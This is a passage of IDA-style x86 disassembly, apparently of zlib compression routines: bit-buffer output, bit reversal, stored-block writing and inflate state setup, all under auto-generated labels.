eax, [ebp+var_C] xor ecx, ecx mov cl, byte_4F2CA0[eax] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+edx*4+406h] mov [ebp+var_20], ecx mov edx, 10h sub edx, [ebp+var_20] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C4406 mov ecx, [ebp+var_10] mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+ecx*4+404h] mov [ebp+var_24], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_24] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_20] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C444D ; --------------------------------------------------------------------------- loc_4C4406: ; CODE XREF: sub_4C4162+1CAj mov ecx, [ebp+var_10] mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+ecx*4+404h] mov ecx, [ebp+arg_0] mov ecx, [ecx+16B4h] shl eax, cl mov edx, [ebp+arg_0] mov cx, [edx+16B0h] or cx, ax mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_20] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C444D: ; CODE XREF: sub_4C4162+2A2j mov eax, [ebp+var_10] mov ecx, dword_4F245C[eax*4] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jz loc_4C4591 mov edx, [ebp+var_10] mov eax, [ebp+var_C] sub eax, dword_4F2DA0[edx*4] mov [ebp+var_C], eax mov ecx, [ebp+var_4] mov [ebp+var_28], ecx mov edx, 10h sub edx, [ebp+var_28] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C4557 mov ecx, [ebp+var_C] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_2C] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_2C] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_28] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C4591 ; --------------------------------------------------------------------------- loc_4C4557: ; CODE XREF: sub_4C4162+329j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_28] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C4591: ; CODE XREF: sub_4C4162+2FCj ; sub_4C4162+3F3j mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax cmp [ebp+var_8], 100h jnb short loc_4C45B3 mov ecx, [ebp+var_8] xor edx, edx mov dl, byte_4F2AA0[ecx] mov [ebp+var_48], edx jmp short loc_4C45C4 ; --------------------------------------------------------------------------- loc_4C45B3: ; CODE XREF: sub_4C4162+43Fj mov eax, [ebp+var_8] shr eax, 7 xor ecx, ecx mov cl, byte_4F2BA0[eax] mov [ebp+var_48], ecx loc_4C45C4: ; CODE XREF: sub_4C4162+44Fj mov edx, [ebp+var_48] mov [ebp+var_10], edx mov eax, [ebp+var_10] mov ecx, [ebp+arg_8] xor edx, edx mov dx, [ecx+eax*4+2] mov [ebp+var_30], edx mov eax, 10h sub eax, [ebp+var_30] mov ecx, [ebp+arg_0] cmp [ecx+16B4h], eax jle loc_4C46C0 mov edx, [ebp+var_10] mov eax, [ebp+arg_8] xor ecx, ecx mov cx, [eax+edx*4] mov [ebp+var_34], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_34] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_34] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_30] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C4703 ; --------------------------------------------------------------------------- loc_4C46C0: ; CODE XREF: sub_4C4162+489j mov ecx, [ebp+var_10] mov edx, [ebp+arg_8] xor eax, eax mov ax, [edx+ecx*4] mov ecx, [ebp+arg_0] mov ecx, [ecx+16B4h] shl eax, cl mov edx, [ebp+arg_0] mov cx, [edx+16B0h] or cx, ax mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_30] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C4703: ; CODE XREF: sub_4C4162+55Cj mov eax, [ebp+var_10] mov ecx, dword_4F24D0[eax*4] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jz loc_4C4847 mov edx, [ebp+var_10] mov eax, [ebp+var_8] sub eax, dword_4F2E14[edx*4] mov [ebp+var_8], eax mov ecx, [ebp+var_4] mov [ebp+var_38], ecx mov edx, 10h sub edx, [ebp+var_38] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C480D mov ecx, [ebp+var_8] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_3C] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_3C] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_38] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C4847 ; --------------------------------------------------------------------------- loc_4C480D: ; CODE XREF: sub_4C4162+5DFj mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_38] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C4847: ; CODE XREF: sub_4C4162:loc_4C42F5j ; sub_4C4162+5B2j ... mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+1698h] jb loc_4C417F loc_4C4859: ; CODE XREF: sub_4C4162+17j mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+402h] mov [ebp+var_40], eax mov ecx, 10h sub ecx, [ebp+var_40] mov edx, [ebp+arg_0] cmp [edx+16B4h], ecx jle loc_4C494E mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+400h] mov [ebp+var_44], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_44] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_44] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_40] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C4991 ; --------------------------------------------------------------------------- loc_4C494E: ; CODE XREF: sub_4C4162+717j mov ecx, [ebp+arg_4] xor edx, edx mov dx, [ecx+400h] mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_40] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C4991: ; CODE XREF: sub_4C4162+7EAj mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+402h] mov ecx, [ebp+arg_0] mov [ecx+16ACh], eax mov esp, ebp pop ebp retn sub_4C4162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C49AA proc near ; CODE XREF: sub_4C20F2+2Bp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov [ebp+var_4], 0 loc_4C49C5: ; CODE XREF: sub_4C49AA+42j cmp [ebp+var_C], 7 jge short loc_4C49EE mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+eax*4+8Ch] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_4C49C5 ; --------------------------------------------------------------------------- loc_4C49EE: ; CODE XREF: sub_4C49AA+1Fj ; sub_4C49AA+6Ej cmp [ebp+var_C], 80h jge short loc_4C4A1A mov edx, [ebp+var_C] mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+edx*4+8Ch] mov edx, [ebp+var_8] add edx, ecx mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_4C49EE ; --------------------------------------------------------------------------- loc_4C4A1A: ; CODE XREF: sub_4C49AA+4Bj ; sub_4C49AA+9Aj cmp [ebp+var_C], 100h jge short loc_4C4A46 mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+ecx*4+8Ch] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx jmp short loc_4C4A1A ; --------------------------------------------------------------------------- loc_4C4A46: ; CODE XREF: sub_4C49AA+77j mov eax, [ebp+var_8] shr eax, 2 cmp eax, [ebp+var_4] sbb ecx, ecx inc ecx mov edx, [ebp+arg_0] mov [edx+1Ch], cl mov esp, ebp pop ebp retn sub_4C49AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C4A5C proc near ; CODE XREF: sub_4C2D20+ACp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 loc_4C4A67: ; CODE XREF: sub_4C4A5C+36j mov eax, [ebp+arg_0] and eax, 1 mov ecx, [ebp+var_4] or ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+arg_0] shr edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+var_4] shl eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx cmp [ebp+arg_4], 0 jg short loc_4C4A67 mov eax, [ebp+var_4] shr eax, 1 mov esp, ebp pop ebp retn sub_4C4A5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C4A9D proc near ; CODE XREF: sub_4C1C03+25Bp ; sub_4C1C03+4D6p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp dword ptr [eax+16B4h], 10h jnz short loc_4C4B24 mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] mov word ptr [ecx+16B0h], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+16B4h], 0 jmp short loc_4C4B84 ; --------------------------------------------------------------------------- loc_4C4B24: ; CODE XREF: sub_4C4A9D+Dj mov eax, [ebp+arg_0] cmp dword ptr [eax+16B4h], 8 jl short loc_4C4B84 mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov eax, [ebp+arg_0] mov ecx, [eax+14h] mov eax, [ebp+arg_0] mov al, [eax+16B0h] mov [edx+ecx], al mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] shr dx, 8 mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] mov edx, [ecx+16B4h] sub edx, 8 mov eax, [ebp+arg_0] mov [eax+16B4h], edx loc_4C4B84: ; CODE XREF: sub_4C4A9D+85j ; sub_4C4A9D+91j pop ebp retn sub_4C4A9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C4B86 proc near ; CODE XREF: sub_4C20F2+3B0p ; sub_4C4C42+7p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp dword ptr [eax+16B4h], 8 jle short loc_4C4BF4 mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx jmp short loc_4C4C27 ; --------------------------------------------------------------------------- loc_4C4BF4: ; CODE XREF: sub_4C4B86+Dj mov ecx, [ebp+arg_0] cmp dword ptr [ecx+16B4h], 0 jle short loc_4C4C27 mov edx, [ebp+arg_0] mov eax, [edx+8] mov ecx, [ebp+arg_0] mov edx, [ecx+14h] mov ecx, [ebp+arg_0] mov cl, [ecx+16B0h] mov [eax+edx], cl mov edx, [ebp+arg_0] mov eax, [edx+14h] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_4C4C27: ; CODE XREF: sub_4C4B86+6Cj ; sub_4C4B86+78j mov edx, [ebp+arg_0] mov word ptr [edx+16B0h], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+16B4h], 0 pop ebp retn sub_4C4B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C4C42 proc near ; CODE XREF: sub_4C1AC4+133p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_4C4B86 add esp, 4 mov ecx, [ebp+arg_0] mov dword ptr [ecx+16ACh], 8 cmp [ebp+arg_C], 0 jz loc_4C4D18 mov edx, [ebp+arg_8] and edx, 0FFFFh and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_8] and ecx, 0FFFFh sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_8] not eax and eax, 0FFFFh and eax, 0FFh mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov [edx+ecx], al mov edx, [ebp+arg_0] mov eax, [edx+14h] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+14h], eax mov edx, [ebp+arg_8] not edx and edx, 0FFFFh sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx loc_4C4D18: ; CODE XREF: sub_4C4C42+20j ; sub_4C4C42+112j mov ecx, [ebp+arg_8] mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx test ecx, ecx jz short loc_4C4D56 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov edx, [ebp+arg_0] mov eax, [edx+14h] mov edx, [ebp+arg_4] mov dl, [edx] mov [ecx+eax], dl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax jmp short loc_4C4D18 ; --------------------------------------------------------------------------- loc_4C4D56: ; CODE XREF: sub_4C4C42+E4j pop ebp retn sub_4C4C42 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C4D60 proc near ; CODE XREF: sub_4C0920+5Fp ; sub_4C0B75+467p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jz short loc_4C4D74 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov edx, [ecx+3Ch] mov [eax], edx loc_4C4D74: ; CODE XREF: sub_4C4D60+7j mov eax, [ebp+arg_0] cmp dword ptr [eax], 4 jz short loc_4C4D84 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 5 jnz short loc_4C4D9B loc_4C4D84: ; CODE XREF: sub_4C4D60+1Aj mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 loc_4C4D9B: ; CODE XREF: sub_4C4D60+22j mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 6 jnz short loc_4C4DB6 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_4C70F9 add esp, 8 loc_4C4DB6: ; CODE XREF: sub_4C4D60+41j mov edx, [ebp+arg_0] mov dword ptr [edx], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+1Ch], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+20h], 0 mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [edx+34h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [edx+30h], ecx mov edx, [ebp+arg_0] cmp dword ptr [edx+38h], 0 jz short loc_4C4E15 push 0 push 0 push 0 mov eax, [ebp+arg_0] call dword ptr [eax+38h] add esp, 0Ch mov ecx, [ebp+arg_0] mov [ecx+3Ch], eax mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] mov [edx+30h], ecx loc_4C4E15: ; CODE XREF: sub_4C4D60+92j pop ebp retn sub_4C4D60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C4E17 proc near ; CODE XREF: sub_4C09F4+126p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 40h push 1 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4C4E40 mov eax, [ebp+var_4] jmp loc_4C4F0B ; --------------------------------------------------------------------------- loc_4C4E40: ; CODE XREF: sub_4C4E17+1Fj push 5A0h push 8 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+20h] add esp, 0Ch mov ecx, [ebp+var_4] mov [ecx+24h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+24h], 0 jnz short loc_4C4E81 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 xor eax, eax jmp loc_4C4F0B ; --------------------------------------------------------------------------- loc_4C4E81: ; CODE XREF: sub_4C4E17+4Dj mov ecx, [ebp+arg_8] push ecx push 1 mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+20h] add esp, 0Ch mov edx, [ebp+var_4] mov [edx+28h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+28h], 0 jnz short loc_4C4ED5 mov ecx, [ebp+var_4] mov edx, [ecx+24h] push edx mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 xor eax, eax jmp short loc_4C4F0B ; --------------------------------------------------------------------------- loc_4C4ED5: ; CODE XREF: sub_4C4E17+8Dj mov ecx, [ebp+var_4] mov edx, [ecx+28h] add edx, [ebp+arg_8] mov eax, [ebp+var_4] mov [eax+2Ch], edx mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov [ecx+38h], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 push 0 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_4C4D60 add esp, 0Ch mov eax, [ebp+var_4] loc_4C4F0B: ; CODE XREF: sub_4C4E17+24j ; sub_4C4E17+65j ... mov esp, ebp pop ebp retn sub_4C4E17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C4F0F proc near ; CODE XREF: sub_4C0B75+400p var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h Size = dword ptr -10h var_C = dword ptr -0Ch Dst = dword ptr -8 Src = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+Src], ecx mov edx, [ebp+arg_4] mov eax, [edx+4] mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+20h] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+Dst], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] cmp edx, [ecx+30h] jnb short loc_4C4F5D mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+Dst] sub ecx, 1 mov [ebp+var_54], ecx jmp short loc_4C4F69 ; --------------------------------------------------------------------------- loc_4C4F5D: ; CODE XREF: sub_4C4F0F+3Bj mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+Dst] mov [ebp+var_54], eax loc_4C4F69: ; CODE XREF: sub_4C4F0F+4Cj mov ecx, [ebp+var_54] mov [ebp+var_18], ecx loc_4C4F6F: ; CODE XREF: sub_4C4F0F:loc_4C625Cj mov edx, 1 test edx, edx jz loc_4C6261 mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_58], ecx cmp [ebp+var_58], 9 ja loc_4C61FD mov edx, [ebp+var_58] jmp ds:off_4C6265[edx*4] loc_4C4F98: ; CODE XREF: sub_4C4F0F+12Cj ; DATA XREF: .text:off_4C6265o cmp [ebp+var_14], 3 jnb loc_4C5040 cmp [ebp+var_1C], 0 jz short loc_4C4FB1 mov [ebp+arg_8], 0 jmp short loc_4C500C ; --------------------------------------------------------------------------- loc_4C4FB1: ; CODE XREF: sub_4C4F0F+97j mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov 